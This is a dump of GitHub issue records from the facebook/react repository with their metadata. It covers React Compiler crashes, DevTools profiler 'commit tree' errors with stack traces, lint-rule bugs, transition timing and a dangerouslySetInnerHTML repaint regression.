https://playground.react.dev/#N4Igzg9grgTgxgUxALhAHQHaYJYFsAOEMALgAQBKCAhnMQDSnClRgIDKxVxCpAvqQDMYEXKTQgY1WuIDcmTAKgZa2CBlIAxIrgDq2YgAsA8gCMAVglobhuAKIZiMbAjAAKJgOcAbACZg+AJSMmKSkcGpgZAZUGD5e7FAmuPqkALykVGAAnsqkrggAbggOQakAfMFYxI5ZlWhkoQJEeeEYkaQA2gDWCFkMBVReUAgAuqQQAqSmFrQAdMWOzm6eCL5gAUHA8sT1rZDxs14QAOauPX2kHE4YpwNDCBtyVbzb-HBccAZ5D3XEL+p8J4hUiSYiwdSuYGhAA8Jig1TUpGIWXwCFS4jhCKwIHGGAAwl5sHAuqlgNFYvE2Ilkn8ylSkvpoQB6THENRlYEBJ7-TAIAAehBIpB8CAEVCgXjIWhgun0xnMlmI1hE9kWLhkIDoIFanmOKBAeEFZGRqMYpAACkNjtgMEZ8MRVG0+IIbKQAOQmKgmVYAWnwVptPskNGIPvCBGw8RgTJ82EibqBGHcwKZTPD+EjXEdAFkICLkGIQIMvOJMPwwFmwCt-JaoNbbfbHesNVqwAYIAB3ACSDgQMAwgzAKDFXlYvCAA
### Repro steps
1. Go to https://playground.react.dev/ (make sure to clear your site data before loading this, because it likes to autosave your code, even if it causes the sandbox to crash)
2. Paste the following
```
import React, { useState } from "react";
function FormWithObjectFromEntries({ fields }) {
const handleSubmit = async (event) => {
try {
for (const [key, value] of Object.entries(fields)) {
console.log(key, String(value));
}
} catch (e) {}
};
return (
<button type="button" onClick={handleSubmit}>
Submit
</button>
);
}
export default FormWithObjectFromEntries;
```
(Note that this is a minimal reproducible example, I got this issue in a larger codebase)
*Expected:*
React compiler compiles the component
*Actual (in real code base)*
React compiler skips this component
*Actual (In playground)*
The playground crashes
### How often does this bug happen?
Every time
### What version of React are you using?
19.2.0
### What version of React Compiler are you using?
babel-plugin-react-compiler@19.1.0-rc.3 | closed | completed | ferrybig | 2025-10-07T13:55:32 | 2026-02-04T03:24:44 | 2026-02-04T03:24:44 | [
"Component: React Compiler",
"Compiler: todo"
] | null | 0 | {
"+1": 2
} | 8 | false | 2026-03-29T04:53:12.308657 | ||
facebook | react | 34,337 | I_kwDOAJy2Ks7IoRn0 | false | [DevTools Bug] Could not find node with id "250" in commit tree | ### Website or app
react-devtools
### Repro steps
- Start Profiler
- Interact with the component
- Stop Profiler
- Navigate from the "Flamegraph" to "Ranked" tab
### How often does this bug happen?
Every time
### DevTools package (automated)
react-devtools-extensions
### DevTools version (automated)
6.1.5-5d87cd2244
### Error message (automated)
Could not find node with id "250" in commit tree
### Error call stack (automated)
```text
at chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1225057
at Map.forEach (<anonymous>)
at chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1225006
at he.getRankedChartData (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1225519)
at CommitRankedAutoSizer (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1475807)
at renderWithHooks (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:66690)
at updateFunctionComponent (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:96942)
at beginWork (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:110959)
at performUnitOfWork (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:182534)
at workLoopSync (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:182390)
```
### Error component stack (automated)
```text
at CommitRankedAutoSizer (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1475564)
at div (<anonymous>)
at div (<anonymous>)
at div (<anonymous>)
at SettingsModalContextController (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1363197)
at chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1604868
at va (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1380724)
at div (<anonymous>)
at div (<anonymous>)
at ThemeProvider (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1383435)
at chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1383632
at div (<anonymous>)
at div (<anonymous>)
at div (<anonymous>)
at ThemeProvider (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1383435)
at InspectedElementContextController (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1394502)
at TimelineContextController (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1461901)
at ProfilerContextController (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1453632)
at TreeContextController (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1275115)
at SettingsContextController (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1303162)
at ModalDialogContextController (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1440740)
at DevTools_DevTools (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1612679)
```
### GitHub query string (automated)
```text
https://api.github.com/search/issues?q=Could not find node with id in commit tree in:title is:issue is:open is:public label:"Component: Developer Tools" repo:facebook/react
``` | closed | not_planned | shreyanshxyz | 2025-08-29T08:38:04 | 2026-02-07T22:13:09 | 2026-02-07T22:13:09 | [
"Type: Bug",
"Status: Unconfirmed",
"Component: Developer Tools"
] | [
"hoxyq"
] | 0 | {
"+1": 10
} | 2 | false | 2026-03-29T04:53:12.346783 | ||
facebook | react | 35,028 | I_kwDOAJy2Ks7VLjXe | false | Bug: state changes inside forwardRef change the props object reference | <!--
Please provide a clear and concise description of what the bug is. Include
screenshots if needed. Please test using the latest version of the relevant
React packages to make sure your issue has not already been fixed.
-->
React version: 19.2
## Steps To Reproduce
1. have a `forwardRef` component with a `useState` hook
2. use `props` in a dependencies array, one common usecase can be extracting `...restProps`, Compiler [does](https://playground.react.dev/#N4Igzg9grgTgxgUxALhAgHgBwjALgAgBMEAzAQygBsCScB3MmQgJVIAoSoA7OXASwhd8AWQCeAQUyY2wfJhgRMAGnwA6dTARhcABQWYw+AL4rNJAJT5gAHSH5NuWEIA8hPgDcr61Zu17FYEb4APQAfLZG5rYgSiBwgiR8AOYoIHwAtth4+LiimAhW+DqUUEl8XADymPyChkEkCun4AOQARmStCJQAtJglZVzdmmS83fGZfJQIMMFu2s0A3La2Mrb4IcHjmJNkNVzCEMTI+NYgZJSUpxH4YLt8YIlaRf3lVXtg5gsx4AAWEHQASS4uGmXHOYBQ5EoYAQRiAA) that as well
3. Render it, _passing a ref_ (doesn't reproduce without it)
4. Update the state
<!--
Your bug will get fixed much faster if we can run your code and it doesn't
have dependencies other than React. Issues without reproduction steps or
code examples may be immediately closed as not actionable.
-->
Link to code example:
<!--
Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
repository on GitHub, or provide a minimal code example that reproduces the
problem. You may provide a screenshot of the application if you think it is
relevant to your bug report. Here are some tips for providing a minimal
example: https://stackoverflow.com/help/mcve.
-->
https://codesandbox.io/p/sandbox/react-dev-forked-j8ml7z
Open console and try typing. Observe props object being logged
## The current behavior
`props` object changes by reference
## The expected behavior
it should stay the same, to keep manual and compiled memoizations effective | open | Hypnosphi | 2025-10-31T21:37:58 | 2026-02-06T13:28:36 | null | [
"Status: Unconfirmed"
] | null | 0 | {
"+1": 1,
"heart": 1
} | 4 | false | 2026-03-29T04:53:12.383832 | |||
facebook | react | 34,057 | I_kwDOAJy2Ks7DaqpT | false | Adding `sideEffects: false` to package.json | Would it make sense to add `sideEffects: false` to `package.json` in the `react`,`react-dom`, `use-sync-external-store`, `scheduler`, etc. packages? It was already added to the `react-is` package: https://github.com/facebook/react/pull/27701
Adding `sideEffects: false` can enable more tree-shaking, in some cases: [documentation](https://github.com/webpack/webpack/blob/main/examples/side-effects/README.md). | closed | not_planned | neoncube2 | 2025-07-30T22:02:15 | 2026-02-04T05:22:50 | 2026-02-04T05:22:50 | [
"Status: Unconfirmed",
"Resolution: Stale"
] | null | 0 | {} | 5 | false | 2026-03-29T04:53:12.422414 | ||
facebook | react | 31,310 | I_kwDOAJy2Ks6bCWjR | false | [DevTools Bug] Could not find node with id "18006" in commit tree | ### Website or app
npx react-devtools
### Repro steps
clicking on the record button and stop in it produces this error
### How often does this bug happen?
Sometimes
### DevTools package (automated)
react-devtools-core
### DevTools version (automated)
6.0.1-c7c68ef842
### Error message (automated)
Could not find node with id "18006" in commit tree
### Error call stack (automated)
```text
at /Users/macgr/.npm/_npx/8ea6ac5c50576a3b/node_modules/react-devtools-core/dist/standalone.js:2:1033341
at Map.forEach (<anonymous>)
at /Users/macgr/.npm/_npx/8ea6ac5c50576a3b/node_modules/react-devtools-core/dist/standalone.js:2:1033290
at Er.getRankedChartData (/Users/macgr/.npm/_npx/8ea6ac5c50576a3b/node_modules/react-devtools-core/dist/standalone.js:2:1033791)
at Nf (/Users/macgr/.npm/_npx/8ea6ac5c50576a3b/node_modules/react-devtools-core/dist/standalone.js:2:1258069)
at di (/Users/macgr/.npm/_npx/8ea6ac5c50576a3b/node_modules/react-devtools-core/dist/standalone.js:2:44095)
at ts (/Users/macgr/.npm/_npx/8ea6ac5c50576a3b/node_modules/react-devtools-core/dist/standalone.js:2:64373)
at gs (/Users/macgr/.npm/_npx/8ea6ac5c50576a3b/node_modules/react-devtools-core/dist/standalone.js:2:75284)
at rc (/Users/macgr/.npm/_npx/8ea6ac5c50576a3b/node_modules/react-devtools-core/dist/standalone.js:2:120293)
at Ju (/Users/macgr/.npm/_npx/8ea6ac5c50576a3b/node_modules/react-devtools-core/dist/standalone.js:2:120221)
```
### Error component stack (automated)
```text
at Nf (/Users/macgr/.npm/_npx/8ea6ac5c50576a3b/node_modules/react-devtools-core/dist/standalone.js:2:1257826)
at div (<anonymous>)
at div (<anonymous>)
at div (<anonymous>)
at ts (/Users/macgr/.npm/_npx/8ea6ac5c50576a3b/node_modules/react-devtools-core/dist/standalone.js:2:1157861)
at /Users/macgr/.npm/_npx/8ea6ac5c50576a3b/node_modules/react-devtools-core/dist/standalone.js:2:1376165
at Ks (/Users/macgr/.npm/_npx/8ea6ac5c50576a3b/node_modules/react-devtools-core/dist/standalone.js:2:1173575)
at /Users/macgr/.npm/_npx/8ea6ac5c50576a3b/node_modules/react-devtools-core/dist/standalone.js:2:1176231
at div (<anonymous>)
at div (<anonymous>)
at div (<anonymous>)
at Ys (/Users/macgr/.npm/_npx/8ea6ac5c50576a3b/node_modules/react-devtools-core/dist/standalone.js:2:1176065)
at Zc (/Users/macgr/.npm/_npx/8ea6ac5c50576a3b/node_modules/react-devtools-core/dist/standalone.js:2:1247244)
at Lc (/Users/macgr/.npm/_npx/8ea6ac5c50576a3b/node_modules/react-devtools-core/dist/standalone.js:2:1239735)
at xt (/Users/macgr/.npm/_npx/8ea6ac5c50576a3b/node_modules/react-devtools-core/dist/standalone.js:2:1079120)
at ca (/Users/macgr/.npm/_npx/8ea6ac5c50576a3b/node_modules/react-devtools-core/dist/standalone.js:2:1106654)
at Ec (/Users/macgr/.npm/_npx/8ea6ac5c50576a3b/node_modules/react-devtools-core/dist/standalone.js:2:1227871)
at Y_ (/Users/macgr/.npm/_npx/8ea6ac5c50576a3b/node_modules/react-devtools-core/dist/standalone.js:2:1382695)
```
### GitHub query string (automated)
```text
https://api.github.com/search/issues?q=Could not find node with id in commit tree in:title is:issue is:open is:public label:"Component: Developer Tools" repo:facebook/react
```
| closed | not_planned | mohamedziadjabbad | 2024-10-21T01:51:56 | 2026-02-07T22:13:15 | 2026-02-07T22:13:15 | [
"Type: Bug",
"Status: Unconfirmed",
"Component: Developer Tools"
] | [
"hoxyq"
] | 0 | {
"+1": 18
} | 2 | false | 2026-03-29T04:53:12.517069 | ||
facebook | react | 35,023 | I_kwDOAJy2Ks7VCq7U | false | [DevTools Bug] Commit tree already contains fiber "1088". This is a bug in React DevTools. | ### Website or app
online.smartagent.one/order/list
### Repro steps
my profiler has broken
### How often does this bug happen?
Every time
### DevTools package (automated)
react-devtools-extensions
### DevTools version (automated)
7.0.1-3cde211b0c
### Error message (automated)
Commit tree already contains fiber "1088". This is a bug in React DevTools.
### Error call stack (automated)
```text
at updateTree (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:699600)
at getCommitTree (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:698760)
at $e.getCommitTree (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:703384)
at CommitFlamegraphAutoSizer (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1005870)
at renderWithHooks (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:66940)
at updateFunctionComponent (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:97513)
at beginWork (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:111594)
at performUnitOfWork (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:184246)
at workLoopSync (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:184102)
at renderRootSync (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:183886)
```
### Error component stack (automated)
```text
at CommitFlamegraphAutoSizer (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1005671)
at div (<anonymous>)
at div (<anonymous>)
at div (<anonymous>)
at SettingsModalContextController (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:879909)
at chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1144384
at ao (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:898411)
at div (<anonymous>)
at div (<anonymous>)
at ThemeProvider (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:901116)
at chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:901313
at div (<anonymous>)
at div (<anonymous>)
at div (<anonymous>)
at ThemeProvider (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:901116)
at SuspenseTreeContextController (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1147064)
at InspectedElementContextController (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:915935)
at TimelineContextController (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:994422)
at ProfilerContextController (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:986233)
at TreeContextController (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:786019)
at SettingsContextController (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:815755)
at ModalDialogContextController (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:972480)
at DevTools_DevTools (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1175879)
```
### GitHub query string (automated)
```text
https://api.github.com/search/issues?q=Commit tree already contains fiber . This is a bug in React DevTools. in:title is:issue is:open is:public label:"Component: Developer Tools" repo:facebook/react
``` | open | MohitPatel1 | 2025-10-31T10:04:01 | 2026-02-07T22:09:41 | null | [
"Type: Bug",
"Status: Unconfirmed",
"Component: Developer Tools"
] | [
"hoxyq"
] | 0 | {
"+1": 1,
"heart": 17
} | 7 | false | 2026-03-29T04:53:12.555831 | |||
facebook | react | 33,057 | I_kwDOAJy2Ks60jrDk | false | [Compiler Bug]: React Compiler breaks most functionality of TanStack Table | ### What kind of issue is this?
- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [ ] eslint-plugin-react-compiler (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)
### Link to repro
https://github.com/skoshx/react-compiler-bug-repro
(edit: Open in StackBlitz as https://stackblitz.com/github/skoshx/react-compiler-bug-repro)
### Repro steps
1. `bun install`
2. `bun dev`
3. Try to interact with the data table, nothing works: filter input doesn't work. columns dropdown doesn't work (clicking doesn't do anything), clicking on the checkboxes doesn't update react UI state.
4. disable `reactCompiler`, and all problems disappear
### How often does this bug happen?
Every time
### What version of React are you using?
"react": "^19.1.0"
### What version of React Compiler are you using?
"babel-plugin-react-compiler": "^19.1.0-rc.1", | closed | completed | skoshx | 2025-04-29T19:01:47 | 2026-02-04T03:33:24 | 2026-02-04T03:33:24 | [
"Component: React Compiler",
"Type: Discussion"
] | null | 0 | {
"+1": 9
} | 12 | false | 2026-03-29T04:53:12.591258 | ||
facebook | react | 35,088 | I_kwDOAJy2Ks7W6wXZ | false | Bug: | <!--
Please provide a clear and concise description of what the bug is. Include
screenshots if needed. Please test using the latest version of the relevant
React packages to make sure your issue has not already been fixed.
-->
React version:
## Steps To Reproduce
1.
2.
<!--
Your bug will get fixed much faster if we can run your code and it doesn't
have dependencies other than React. Issues without reproduction steps or
code examples may be immediately closed as not actionable.
-->
Link to code example:
<!--
Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
repository on GitHub, or provide a minimal code example that reproduces the
problem. You may provide a screenshot of the application if you think it is
relevant to your bug report. Here are some tips for providing a minimal
example: https://stackoverflow.com/help/mcve.
-->
## The current behavior
## The expected behavior
| closed | completed | gustaahhf-bit | 2025-11-10T01:04:18 | 2026-02-08T05:29:52 | 2026-02-08T05:29:52 | [
"Status: Unconfirmed",
"Resolution: Stale"
] | null | 0 | {} | 1 | false | 2026-03-29T04:53:12.627724 | ||
facebook | react | 26,009 | I_kwDOAJy2Ks5bkjrB | false | [DevTools Bug] Commit tree does not contain fiber "4543". This is a bug in React DevTools. | ### Website or app
https://kai.dev.dxos.org/
### Repro steps
1. Open devtools components panel and trigger a re-render in the app.
2. In my case sometimes the component tree doesnt appear at first, but pressing the devtools extension action button in the browser navbar makes it load.
### More info
App built with react `18.2.0` and vite
To repro with Vite running in dev mode:
```
# checkout https://github.com/dxos/dxos/tree/main/packages/experimental/kai
pnpm install
pnpm -w nx serve kai
```
Open devtools component view and trigger a re-render in the app.
### How often does this bug happen?
Every time
### DevTools package (automated)
react-devtools-extensions
### DevTools version (automated)
4.27.1-47f63dc54
### Error message (automated)
Commit tree does not contain fiber "4543". This is a bug in React DevTools.
### Error call stack (automated)
```text
at updateTree (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:26856:21)
at getCommitTree (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:26716:20)
at SidebarCommitInfo_SidebarCommitInfo (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:55240:42)
at Ri (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:16122:7)
at tk (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:17190:7)
at kn (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:20548:86)
at gn (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:20091:11)
at fn (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:20011:23)
at Um (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:19991:5)
at Wm (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:19795:7)
```
### Error component stack (automated)
```text
at SidebarCommitInfo_SidebarCommitInfo (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:55220:34)
at div
at div
at SettingsModalContextController (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:37690:3)
at Profiler_Profiler (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:55516:34)
at ErrorBoundary_ErrorBoundary (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:39222:5)
at div
at div
at ThemeProvider (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:39394:3)
at PortaledContent (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:39424:5)
at div
at div
at div
at ThemeProvider (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:39394:3)
at TimelineContextController (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:44671:3)
at ProfilerContextController (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:44100:3)
at TreeContextController (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:31925:3)
at SettingsContextController (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:32569:3)
at ModalDialogContextController (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:39819:3)
at DevTools_DevTools (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:56024:3)
```
### GitHub query string (automated)
```text
https://api.github.com/search/issues?q=Commit tree does not contain fiber . This is a bug in React DevTools. in:title is:issue is:open is:public label:"Component: Developer Tools" repo:facebook/react
```
| closed | not_planned | dmaretskyi | 2023-01-17T12:36:08 | 2026-02-07T22:14:56 | 2026-02-07T22:14:56 | [
"Type: Bug",
"Status: Unconfirmed",
"Component: Developer Tools"
] | null | 0 | {
"+1": 1
} | 4 | false | 2026-03-29T04:53:12.665984 | ||
facebook | react | 19,637 | MDU6SXNzdWU2ODA5OTQ2Nzc= | false | Portal Event Bubbling Use Cases | This is a spillover from https://github.com/facebook/react/issues/11387.
The goal of this issue is **not** to argue about whether the current React's behavior makes sense in all situations. Rather, it is **collect a list of use cases, both when the current behavior works well, and when it doesn't**, so that they can inform the next iteration of the related APIs. We can't commit to any concrete timeframe on this at the moment, but a list like this will definitely reduce the amount of time that we'd need to spend to get up to speed on the problem space when we're ready to approach it.
If you'd like to contribute a use case, please comment with:
- A name for your pattern (come up with something unique so we can refer to it later)
- A brief description of the UI (but a screenshot is worth a thousand words)
- A small CodeSandbox demo, if you want to make a stronger case
- How React event bubbling behavior breaks (or helps) your case
- Include any information about other pitfalls you encountered, be very specific
- A workaround you are currently using, if any
- If you tried some workarounds but they cause issues, let us know which ones
Please keep this thread on topic and let's keep general discussion in https://github.com/facebook/react/issues/11387. This is not a good thread for "+1" or requests to solve this faster — it's a thread for gathering research.
Thank you! | open | gaearon | 2020-08-18T12:16:29 | 2026-02-04T21:07:58 | null | [
"Type: Discussion"
] | null | 0 | {
"+1": 7,
"heart": 3
} | 14 | false | 2026-03-29T04:53:12.710508 | |||
facebook | react | 35,721 | I_kwDOAJy2Ks7pM1SI | false | [DevTools Bug]: string listing | ### Website or app
Amazon package 📦 🤗 ☺️ pvt ltd. Com
### Repro steps
Tulsi das sahani
### How often does this bug happen?
Every time
### DevTools package (automated)
_No response_
### DevTools version (automated)
_No response_
### Error message (automated)
_No response_
### Error call stack (automated)
```text
Hiiii
```
### Error component stack (automated)
```text
Hindi
```
### GitHub query string (automated)
```text
Bahadurganj
``` | closed | not_planned | mp4245 | 2026-02-08T10:06:20 | 2026-02-08T12:20:47 | 2026-02-08T12:20:47 | [
"Type: Bug",
"Status: Unconfirmed",
"Component: Developer Tools"
] | null | 0 | {} | 0 | false | 2026-03-29T04:53:12.757075 | ||
facebook | react | 35,377 | I_kwDOAJy2Ks7estTH | false | Bug: `react-hooks/set-state-in-effect` doesn't work in `React.useState` and `React.useEffect` | <!--
Please provide a clear and concise description of what the bug is. Include
screenshots if needed. Please test using the latest version of the relevant
React packages to make sure your issue has not already been fixed.
-->
When calling `setState` from inside `React.useEffect`, as opposed to directly `useEffect`, the `set-state-in-effect` eslint rule does not detect a violation. This rule should detect violations regardless of how `useState` and `useEffect` are imported.
React version: 19.2.3
`eslint-plugin-react-hooks` version: 7.0.1
## Steps To Reproduce
1. Enable `set-state-in-effect` in your eslint config
2. Import React with `import * as React from 'react'`
3. Create a component that calls `setState` from inside `React.useEffect`
4. Run eslint and observe that eslint does not fail
<!--
Your bug will get fixed much faster if we can run your code and it doesn't
have dependencies other than React. Issues without reproduction steps or
code examples may be immediately closed as not actionable.
-->
Link to code example: https://github.com/appellation/eslint-react-repro
<!--
Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
repository on GitHub, or provide a minimal code example that reproduces the
problem. You may provide a screenshot of the application if you think it is
relevant to your bug report. Here are some tips for providing a minimal
example: https://stackoverflow.com/help/mcve.
-->
## The current behavior
`set-state-in-effect` only detects violations when directly importing `useState` and `useEffect`. It does not detect violations when using `React.useState` and `React.useEffect` from `import * as React from 'react'`.
## The expected behavior
`set-state-in-effect` should detect violations when using `React.useState` and `React.useEffect` from `import * as React from 'react'`. | closed | completed | appellation | 2025-12-16T20:44:21 | 2026-02-04T17:49:18 | 2026-02-04T17:49:17 | [
"Status: Unconfirmed"
] | null | 0 | {
"+1": 1
} | 2 | false | 2026-03-29T04:53:12.793000 | ||
facebook | react | 35,725 | I_kwDOAJy2Ks7pRXMw | false | Bug: Initialize transition start time in startTransition and startGestureTransition | ## Description
Currently, calls to `startTransition` and `startGestureTransition` in `packages/react/src/ReactStartTransition.js` initialize `currentTransition.startTime` to `-1`. There is a TODO comment indicating that this should read the timestamp.
The timestamp is currently lazily set in `ReactFiberWorkLoop.js` when an update is scheduled. This behavior differs from `useTransition`, which correctly sets the start time immediately.
This issue proposes to:
1. Initialize `startTime` using `performance.now()` (falling back to `Date.now()`) directly in `startTransition` and `startGestureTransition`.
2. Remove the lazy initialization logic in `ReactFiberWorkLoop.js`.
This ensures the timestamp accurately reflects when the transition was started, even if updates are processed later.
## Relevant Files
* `packages/react/src/ReactStartTransition.js`
* `packages/react-reconciler/src/ReactFiberWorkLoop.js`
## Steps to Reproduce (or verify)
1. Enable `enableTransitionTracing`.
2. Inspect `currentTransition.startTime` immediately after creating a transition via `startTransition`. Ideally, it should hold a valid timestamp instead of `-1`. | open | subhamkumarr | 2026-02-08T21:46:53 | 2026-02-08T21:46:53 | null | [
"Status: Unconfirmed"
] | null | 0 | {} | 0 | false | 2026-03-29T04:53:12.842055 | |||
facebook | react | 35,217 | I_kwDOAJy2Ks7aiOtA | false | Bug: React DevTools: Component props panel freezes when inspecting rapidly updating components | ### Summary
When inspecting components in React DevTools, the props/state panel sometimes freezes when the component tree is rapidly updating (e.g., frequent re-renders triggered by data polling or animations). DevTools UI stops responding until switching to another tab or selecting a different component.
### Steps to Reproduce
1. Create a component that re-renders frequently (e.g., using setInterval or a high-frequency animation state update).
2. Open React DevTools → Components tab.
3. Select the rapidly updating component.
4. Observe props/state panel becoming unresponsive or delayed.
### Expected Behavior
DevTools should continue updating props/state smoothly without UI freeze.
### Actual Behavior
Props/state panel becomes unresponsive; UI stops updating and interaction freezes temporarily.
### Environment
- React DevTools version: (latest stable, please fill exact version)
- Browser: Chrome/Firefox (tested on Chrome)
- OS: Windows/Linux/macOS (repro across machines)
### Additional Details
- Switching to Profiler tab and back sometimes restores responsiveness.
- Suspect bottleneck during frequent renders or serialization.
- Can provide minimal reproduction repo if required.
| open | sharvandeep | 2025-11-26T08:22:17 | 2026-02-09T22:11:51 | null | [
"Status: Unconfirmed",
"Component: Developer Tools"
] | null | 0 | {
"eyes": 2
} | 1 | false | 2026-03-29T04:53:12.874703 | |||
facebook | react | 32,836 | I_kwDOAJy2Ks6xy2FN | false | [DevTools Bug]: Firefox devtools extension doesn't work with React 19 | ### Website or app
https://vite.new/react
### Repro steps
I am using React 19 for my project and when I tried to access the components and profiler in Firefox. I got the following message:
```
Unsupported React version detected
This version of React DevTools supports React DOM v15+ and React Native v61+.
In order to use DevTools with an older version of React, you'll need to [install an older version of the extension](https://reactjs.org/blog/2019/08/15/new-react-devtools.html#how-do-i-get-the-old-version-back).
```
However the same works in Chrome with Devtools version: `6.1.1 (2/7/2025)`
I have provided a sample project from the vite react template where this could be reproduced (as I was working on localhost) [stackblitz link](https://stackblitz.com/edit/vitejs-vite-8a1t8yxc?file=index.html&terminal=dev)
Screenshot:
<img width="409" alt="Image" src="https://github.com/user-attachments/assets/79f96d1c-7332-48cf-9cf8-d5663ac37ce5" />
### How often does this bug happen?
Every time
### DevTools package (automated)
_No response_
### DevTools version (automated)
_No response_
### Error message (automated)
_No response_
### Error call stack (automated)
```text
```
### Error component stack (automated)
```text
```
### GitHub query string (automated)
```text
``` | open | shardul-b | 2025-04-09T13:49:06 | 2026-02-09T03:16:37 | null | [
"Type: Bug",
"Status: Unconfirmed",
"Component: Developer Tools"
] | [
"hezi",
"hoxyq"
] | 0 | {
"+1": 14
} | 9 | false | 2026-03-29T04:53:12.927755 | |||
facebook | react | 31,660 | I_kwDOAJy2Ks6h0dh6 | false | [React 19] dangerouslySetInnerHTML causes repaint | ## Summary
Given the following component
```jsx
function App() {
const [count, setCount] = useState(0);
return (
<>
<button onClick={() => setCount((count) => count + 1)}>{count}</button>
<div dangerouslySetInnerHTML={{ __html: "I should only paint once" }} />
</>
);
}
```
Clicking the button should not trigger a repaint of "I should only paint once". This works as expected in react@18.3.1 but not in react@19.0.0-rc.1 or react@0.0.0-experimental-5b0ef217-20241202.
* Browser: Chrome Version 131.0.6778.86 (Official Build) (arm64)
* OS: MacOS 15.1.1 (24B91)
## react@18.3.1
https://github.com/user-attachments/assets/3912ae19-f0b5-4425-abd4-0c376d9f8bb7
## react@0.0.0-experimental-5b0ef217-20241202
https://github.com/user-attachments/assets/d486783d-819a-40fe-a9f8-8c537009e173
[Source Code](https://github.com/lukahartwig/react-dangerouslysetinnerhtml)
| closed | not_planned | lukahartwig | 2024-12-03T12:21:12 | 2026-02-05T03:49:18 | 2026-02-04T03:00:49 | [
"Resolution: Stale",
"React 19"
] | null | 0 | {
"+1": 11
